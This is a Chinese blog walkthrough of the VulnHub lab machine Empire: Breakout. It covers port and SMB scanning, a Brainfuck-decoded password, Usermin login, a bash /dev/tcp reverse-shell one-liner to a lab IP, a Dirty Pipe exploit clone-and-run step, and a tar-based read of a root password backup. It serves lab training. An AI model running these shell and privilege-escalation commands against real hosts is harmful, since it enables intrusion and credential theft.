EMPIRE:BREAKOUT
靶机介绍及下载:Empire: Breakout ~ VulnHub
1. 信息收集
1.1. 主机探测
netdiscover -r 192.168.159.0/24
靶机 IP:192.168.159.155
1.2. 端口扫描
nmap -A 192.168.159.155 -p1-65535
所开端口:80,139,445,10000,20000;服务http,samba【基于smb协议】
SMB全称是Server Message Block(服务器消息块),又称网络文件共享系统,是一种应用层网络传输协议。SMB被广泛地应用于在计算机间共享文件、端口、命名管道和打印机等。系统上的不同应用程序可以同时读取和写入文件,并向服务器请求服务。 此外,SMB可以直接在TCP/IP或其他网络协议上运行。通过SMB,用户或任何经授权的应用程序都可以访问远程服务器上的文件或其他资源,并且可以执行读取、创建和更新数据等操作。
1.3. Web 信息收集
1.3.1. 端口
没看到啥特殊信息……不过翻看源码,得到个加密信息
查了下是 Brainfuck 加密的,利用在线工具解密。Brainfuck/OoK加密解密 - Bugku CTF
.2uqPEfj3D<P'a-3
不知道有啥用,暂且留着。
1.3.2. 10000和20000端口
试了几次弱口令结果 IP 被封了……尝试找了下webmin的漏洞,基本都要有个用户名和密码才能进一步利用漏洞。
1.3.3. 目录遍历
截至目前没有可有效利用的信息……想到139和445还没用了,它两是基于SMB协议的,所以接着扫描 smb 服务。
1.4. smb 服务扫描
Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。Enum4linux可以发现以下内容:
- 域和组成员
- 用户列表
- 设备上的共享(驱动器和文件夹)
- 目标上的密码策略
- 远程目标的操作系统
enum4linux 192.168.159.155
扫到了几个用户名,猜测前面得到的.2uqPEfj3D<P'a-3
可能是密码,挨个匹配在webmin和usermin登录试下。
经测试 cyber/.2uqPEfj3D<P'a-3
可以从20000端口的usermin登录界面进去。
2. 渗透攻击
2.1. usermin 登录
从 https://192.168.159.155:20000/ 用 cyber/.2uqPEfj3D<P'a-3
登录,左下角发现个ris:TerminalBox
。
拿到第一个 flag:3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
2.2. 提权
2.2.1. 尝试反弹 shell
bash -i >& /dev/tcp/192.168.159.152/4444 0>&1
用起来不太舒服,还不如web端的 terminal……不过如果想通过执行漏洞 POC 提权还是需要反弹 shell的
考虑webmin提权,经查webmin漏洞基本涉及的是基于当前已知用户平级之间的RCE,即cyber用户的RCE,没找到提权漏洞……
考虑用 find / -perm -u=s -type f 2>/dev/null
看看有没有可提权的命令啥的,还是没得到有价值的信息……
考虑内核漏洞提权,谷歌+百度后找到个 CVE-2022-0847
CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”
POC:Dirty-Pipe.sh
利用步骤【文件上传靶机可用 nc 】
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh
不过该漏洞顺利利用依赖于 gcc ,而通过测试靶机并未安装 gcc ……考虑到本地直接编译成exp上传后直接执行测试结果还是失败,依赖库缺少,如下
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./exp)
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
尝试用 apt-get 安装 gcc,结果还是权限不足!没思路了……接着百度+谷歌,找到了以下解决方案
cyber 目录下有个tar文件,查看权限 cyber 也可以执行该文件
另外找到个密码备份文件【/var/backups/.old_pass.bak】,但 cyber 没权限读取,根据权限来判断的话,应该是 root 的密码,考虑用 tar 先压缩再解压后读取
[cyber@breakout ~]$ ./tar -cvf old_pass.tar /var/backups/.old_pass.bak
./tar: Removing leading `/' from member names
/var/backups/.old_pass.bak
[cyber@breakout ~]$ ls
old_pass.tar
tar
user.txt
[cyber@breakout ~]$ ./tar -xvf old_pass.tar
var/backups/.old_pass.bak
[cyber@breakout ~]$ ls
old_pass.tar
tar
user.txt
var
[cyber@breakout ~]$ cat var/backups/.
var/backups/./
var/backups/../
var/backups/.old_pass.bak
[cyber@breakout ~]$ cat var/backups/.old_pass.bak
Ts&4&YurgtRX(=~h
得到密码:Ts&4&YurgtRX(=~h
2.2.2. webmin 登录
同 usermin,左下角获得 terminal,读取根目录下的 flag
success!
2.3. 对前面内核提权漏洞再次测试
利用已知的root用户安装 gcc【通过反弹 shell 安装】,安装完后用 cyber 执行 poc.sh 测试
提权成功!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?